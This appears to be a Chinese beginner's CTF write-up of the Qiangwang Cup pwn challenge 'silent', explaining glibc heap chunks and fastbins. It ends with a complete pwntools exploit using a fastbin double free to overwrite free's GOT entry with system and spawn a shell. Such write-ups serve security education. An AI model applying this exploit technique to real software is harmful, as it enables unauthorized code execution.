强网杯部分pwn复现

强网杯组织了下新生们一起报了个名,菜如我是一题都做不出来。。
不过当时部分题还是有点思路的,赛后学长给我们讲了一些,再参考着题解的情况下,再做了一遍其中的几题,新手向所以写得非常详细(应该会继续更新(然而鸽了

1.silent

题如其名,打开跑一跑发现一点回显都没有,甩进IDA
avatar

main的逻辑非常简单,分别点进去看看就能明白三个函数的作用

如果你了解过堆的话应该不难看出漏洞所在,但如果你不了解,下面我们就来学习一下这题的背景知识——堆(堆的内容很多,这里只说到能解决此题的程度,我也正在学习中…..

下面这张图是chunk的结构图,接下来请务必牢记它的构成
avatar
那么什么是chunk呢,我们都知道我们可以使用malloc申请一块内存区域,而malloc的返回值就是指向申请到的内存地址的指针。现在向上看那张图,看到那个mem区块了没有,malloc返回地址就是这个地方,也就是说我们用malloc申请得到了一个chunk。

接下来我们看一下chunk的构成:

prev_size:前一个未被使用的chunk的大小

size:当前chunk的大小(为了防止内存碎片过多,得到的chunk大小一定是8的倍数,比如申请7字节mem也会得到8字节mem,8的倍数写成二进制是? x 1000即最后三位一定是0,设计者为了节约空间,将这3bit用来存储其他信息,这道题我们不需要知道这3bit的作用只做了解)



在介绍fd和bk之前,先说一下malloc是如何管理内存的

malloc维护了一系列链表,用来存放被free释放掉的chunk而不是直接还给系统,这样有利于加速下次使用。但如果链表里没有任何chunk,则会到一个叫top chunk的较大的chunk中分割一部分出来,如果top chunk也不够用的话则会调用mmap或者brk(皆为系统调用,只做了解)向系统申请

而fd和bk就是malloc用来维护链表的工具——

fd:下一个未被使用的chunk的地址

bk:上一个未被使用的chunk的地址



这也正是为什么fd和bk可以存在于mem而不是header的原因——既然用户已经free掉了chunk,那么chunk中的数据也就不再重要了,可以进行覆盖!

就这样,fd和bk将所有释放掉的chunk连接起来形成了链表(被称为”bins”),但这里要知道并不是所有释放掉的chunk都会连在一起

这里我们只需要知道如果chunk的大小不大于0x80(mem <= 64字节)的话,他就是一个fastbin

fast体现在为了提高检索速度,fastbin只使用fd指针形成了一个单向链表,并且free这样的chunk时只在当前释放的chunk就是fastbin链表里的最后一个chunk时才会检测出异常并退出,即

1
2
free(a);
free(a);//double free异常退出
1
2
3
free(a);
free(b);
free(a);//正常运行

这就说明fastbin的安全系数很低,比较容易被利用

这题所利用的漏洞就是这里,下面我们回到题目里
avatar
avatar

在delete()中我们可以free任何一个chunk无数次,只需要注意不连续free同一个chunk就行


所以我们可以free(a);free(b);free(a);之后再重新malloc一个和a,b大小一样的chunk,这样就会从fastbin链表里返回原本a所使用的空间。现在的情况是,你申请到了一个依旧存在在fastbin链表里的chunk,即mem块的前几个字节被当做fd使用,而你现在可以修改这里的值从而伪造一个chunk到fastbin中!


现在,不得不再提一个问题…malloc也是有安全检查的,并不是所有位置都可以被你拿来覆盖fd,你必须保证伪造的chunk的size是合法的,比如
malloc(0x20)返回一个size为0x30的chunk(0x10的头部,64位)那么你伪造的chunk的size范围就是0x30~0x37,所以要找到一个”\x00\x00\x00\x3?”的地方作为size才能成功得到这个chunk


接下来是思考如何get shell(应该也是最开始就思考过的)
观察到本题已经调用过system函数,而free函数的参数类型和system一致,所以考虑将free函数的got地址覆盖成system,然后执行到free的时候就会转而执行system函数(新手到此如果有疑惑,建议参考最后的代码用gdb多调试调试,都是这么过来的)


至此,此题的问题基本已经解决了,即通过double free构造一个伪造的chunk,利用这个chunk覆盖free()函数的got地址为system的plt地址,再执行’/bin/sh’(或者’$0’)get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1
if local:
cn = process('./silent')
else:
cn = remote('39.107.32.132',10000)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(size,buf):
cn.sendline('1')
cn.sendline(str(size))
cn.sendline(buf)
def dele(num):
cn.sendline('2')
cn.sendline(str(num))

add(0x50,'a')#0
add(0x50,'a')#1
dele(0)
dele(1)
dele(0)
add(0x50,p64(0x601ffa))#2
add(0x50,'a')#3
add(0x50,'a')#4
add(0x50,'$0' + '\x00' * 0xc + p64(0x400730))#5
dele(5)
cn.interactive()